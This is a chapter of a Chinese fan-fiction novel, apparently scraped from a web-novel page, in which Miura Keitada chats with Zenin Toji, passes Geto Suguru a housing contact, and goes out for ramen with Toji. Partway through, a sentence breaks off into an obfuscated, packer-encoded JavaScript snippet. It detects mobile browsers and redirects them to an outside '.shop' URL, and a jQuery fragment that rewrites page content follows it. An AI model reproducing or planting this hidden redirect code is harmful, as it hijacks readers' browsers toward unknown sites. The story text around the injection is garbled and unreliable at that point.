46.[一更]吃宵夜

作品:《叛逃咒术师再就业指北

    说起来,不知道悟君和甚尔那边怎么样了。


    三浦敬忠趁人不注意在兜里盲打编辑了信息发给禅院甚尔:[:甚尔和悟吃晚餐了吗?]


    他本以为要等一段时间才会有人回复,没想到下一秒手机就震了一下。


    他意外地拿出手机看了一眼,看到禅院甚尔回复的:[禅院甚尔:刚把六眼小鬼送回家,很烦。]


    烦?三浦敬忠疑惑了一下。


    五条悟是他见过最聪明的小孩了,轮可爱和好带的话他选禅院直哉,但无论如何五条悟也算不上是难带的那一类吧?


    他推断大概率是甚尔和五条悟相性不好,因此他也没在短信里和禅院甚尔提及五条悟的事,只是问他吃饭没有。


    手机对面回复得很快,他几乎是刚发过去那边就回了消息,[禅院甚尔:跟着那个小鬼吃了几口,他吃的不合我胃口]


    [禅院甚尔:你要是还饿我就等你回来一起去吃几口]


    [禅院甚尔:不饿就赶紧回来陪我吃几口]


    三浦敬忠笑了笑,回复了一个笑脸:[:^O^]


    [:这么离不开我啊]


    [禅院甚尔:快点回答。]


    [:能陪甚尔吃饭是我的荣幸]


    [禅院甚尔:OK]


    意识到自己一不小心聊多了的三浦敬忠推给夏油杰一张名片,他道:“这是小池真央女士的名片,在工作时间联系她,如果你打算搬到新宿,她可以帮你解决一些住房和学校的问题。”


    房地产他现在也有所涉猎,小池真央则是他的店里的大管家,负责一些和政商界接触的内容。


    值得一提的是小池真央之前并不是诅咒师或者野生的咒术师,而是正经的吃国家税收的辅助监督。


    因为总监部内部的派系问题,之前站队的那一方的话事人突然暴毙的小池真央被排挤得不轻,作为更偏向文职属性的辅助监督被多次派到危险区域就算了,情报库那边居然篡改了咒灵情报等级,把一级报成二级,陪同二级咒术师出任务的小池真央差点死在任务里,要不是三浦敬忠路过她觉得自己很难活下来,于是被治好之后对着现在的领导以前的对家竖了个中指就跑了。


    因为人性格很好,现在是在做三浦敬忠店里的大管家,目前负责店里的事务和人员管理。


    三浦敬忠把她的名片给夏油杰也是因为小池真央做事更方便一些。


    不过说到底,最重要的原因其实是——三浦敬忠没空。


    他最近非常、非常、非常忙。


    又要兼顾赚钱、又要兼顾调查加茂正弘,还要处理一些必要的事情,他的一天恨不得划出来32个小时来用。


    禅院甚尔没少笑他自找的。


    三浦敬忠听着话没觉得被冒犯,反而觉得挺不错的。


    当然是他自找的啦,他不优秀一点怎么吸引天使来呢?虽然说他的天使肯定不会是那么肤浅的人、肯定会无论如何都爱他,但是他才不想让天使爱上一个一无是处的家伙。


    天使的一切都是最好的,所以天使拥有的也要最好,包括恋人也是。


    三浦敬忠这么爱惜自己这张脸、健身保持身材、练习表情管理很大一部分原因是他想“赢”。


    自然界的小鸟都倾向于选择羽毛最艳丽、鸣叫最动听的雄性。


    他才不要在这方面输掉。


    他要做天使带着他出去会引起别人羡慕的那种恋人!


    让天使丢脸难堪的事情他做不到!


    离开夏油宅后三浦敬忠把逆野兄妹送回了酒店,提醒他们两个明天白天找犬养饲去员工公寓那边挑房子,然后和锦织十四部见了一面。


    “夜安,十四部君。”他男人打了个招呼。


    “夜安,敬忠桑。”锦织十四部笑着和他道:“白天犬养和人家说老大您找我,我还以为特地选在晚上见面会有什么惊喜呢。”


    “如果宵夜算惊喜的话,那还是有的。”三浦敬忠道。


    “您陪我吃吗?”锦织十四部眨了眨眼,暗示性地道:“我们有没有机会一起吃个早饭?”


    “开业之后我应该经常吃员工餐厅。”三浦敬忠的言外之意是婉拒了。


    “真遗憾。”锦织十四部把一摞文件交给三浦敬忠,不无遗憾地道:“您真是太保守了。”


    “这是多大的浪费啊。”


    三浦敬忠对这种说法不感兴趣,他习以为常地忽略了锦织十四部对他的胸肌练得大、腿又长又直之类的完全可以算得上性骚扰的话,翻看着厚厚的资料。


    看过几页之后,他把这些东西收了起来,然后和锦织十四部说了声再见,他要去和禅院甚尔一起吃宵夜。


    ——都这个点了他们家甚尔还饿着呢!


    三浦敬忠告辞时锦织十四部啧了啧嘴,问:“不是说有惊喜夜宵吗?”


    “我给十四部君报销。”三浦敬忠这么说着,笑着和他摆了摆手。


    锦织十四部败下阵来,嘟囔着说要吃贵的。


    三浦敬忠听见了,没当回事。


    一来是他有钱,二来是现在这个时间锦织十四部能找到还在营业的好吃的高级餐厅那就是他的能力超群,三浦敬忠甘拜下风,愿意出十倍的饭钱换店里的地址和找店方法。


    反正三浦敬忠是没找到,他带着点有点凉的空气进到屋里时禅院甚尔背对着他,三浦敬忠轻手轻脚地踮着脚移了过去,把手塞进了禅院甚尔脖子里。


    “Surprise!”三浦敬忠从后面抱着青年的脖子露出了今天最灿烂的笑,他问禅院甚尔在家有没有想他。


    “我给你发的消息不够想?”能看见空气的痕迹的顶级天与咒缚拉住他的手把他拽进了怀里,嘴角的疤痕随着唇角勾起的笑意显得存在感很强。他笑着问三浦敬忠:“你教教我?”


    “当然是直接说‘我好想你,想让你赶紧回来陪我吃东西’。”三浦敬忠说着他明知道禅院甚尔这辈子都不会说的话和对方开玩笑,然后把禅院甚尔拽了起来问他想吃什么东西。


    “吃拉面吧。”禅院甚尔道:“那个小鬼在这里的时候没吃成。”


    “那就面硬加咸蔬菜加倍蒜末和蒜油?”三浦敬忠笑眯眯地说:“我大概不能全吃光,盐分太高了。”


    “你是猫吗还要控制盐分。”禅院甚尔对他的健康饮食有些无语,都咒术师了还有反转术式,居然吃个宵夜还要忌口。


    但他还是答应道:“你吃不完的我吃,行了吧。”


    “那就最好不过了。”三浦敬忠羡慕地捏着禅院甚尔的手臂和腰,十分艳羡地道:“甚尔为什么不会长胖呢?就连水肿也没有一点……”


    “羡慕啊?”禅院甚尔一手撑着脑袋笑着随便让三浦敬忠捏来捏去的,他空的那只手往三浦敬忠身上放了一下,然后让他腰腹发点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303316|196901||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    力,摸罢啧啧称奇道:“你这也没什么脂肪啊,到底在羡慕什么?”


    “羡慕甚尔什么都能吃。”三浦敬忠站起身,活动了一下肢体,然后道:“走了,去吃拉面。”


    “走。”禅院甚尔把胳膊架在三浦敬忠肩上基本上一半的重量压在他身上。


    他现在觉得三浦敬忠“甚尔好重不要压着我啦!”之类的这种没有攻击力的抱怨很好玩。


    说起来。


    对正常人来说是不是不会把家人当成玩具来着的?


    禅院甚尔思考着。


    然后得出结论三浦敬忠也没少玩他。


    上次去涩谷拍的照片还在桌上,要不是他昨天听见有人过来眼疾手快把那个相框扔进抽屉,那个六眼小鬼绝对会借这个嘲笑他。


    倒也不是和禅院家的人渣一样指着嘲笑,但就是这种淡淡的看一眼什么都不说但好像又什么都说了的样子更让人不爽啊。


    总之,禅院甚尔觉得自己和那个六眼小鬼天生八字不合。


    对方应该也是这么感觉的,他们两个相看两厌,在他送他回家的时候沉默了一路的对方说他无聊,然后和他要三浦敬忠的联系方式。


    被说无聊的禅院甚尔会给他才怪,冷笑着说完“下次还是我送你”之后在回家的路上越想越膈应。


    他确实膈应到五条悟了,但也没少膈应自己。


    正膈应着,三浦敬忠给他发过来消息了,没提那个小鬼的消息让他有点略微的得意,但转眼又觉得和个八岁小孩比来比去比赢了也很丢人,而且显得像他是什么很幼稚的人一样。


    算了。


    禅院甚尔看着自己越堆越高的碗,捏住了三浦敬忠的手腕。


    “你觉得我的这碗面有什么搅拌的余地吗?”他指着自己碗里的“富士山”问三浦敬忠。


    “我以为你没发现呢……”三浦敬忠笑眯眯地问他:“我能知道甚尔在想什么吗?”


    “很幼稚的事。”禅院甚尔拌着面,调侃道:“确定要听吗?”


    “当然。”三浦敬忠理所当然地道:“我们还都是小孩呢。”


    “这倒也是。”禅院甚尔打断了三浦敬忠刚说了个“所以”的话,他坚定道:“不过我是不会和你去东京迪士尼坐旋转木马的。”


    “欸?成年之后再坐不就很奇怪了嘛?”


    “现在也很奇怪。”


    “反正最后都是要答应的现在就答应我吧——”


    “那不一样。”


    “拜托拜托、甚尔~”


    禅院甚尔拿着筷子的手动不了了,他无奈地看了一眼抱着他手的青年,道:“犬养饲和那个娘娘腔会很高兴跟你去的吧?为什么一定要和我去?”


    “因为是甚尔啊。”三浦敬忠看他态度松动,笑着拿起了自己的筷子,理所当然地道:“甚尔是不一样的。”


    “……”禅院甚尔看了他一眼,然后佯装不在意地问了一句:“跟五条悟也不一样?”


    “不一样。”三浦敬忠笑着开玩笑道:“除非悟君是我的天使。”


    想象了一下五条悟当“天使”的样子,禅院甚尔感觉浑身一阵恶寒。


    ——好恶心!


    他把一块厚的叉烧放进三浦敬忠碗里,让他吃饭的时候别说这么恶心的事。


    三浦敬忠:?


    好奇怪的雷点。


    他不理解但尊重。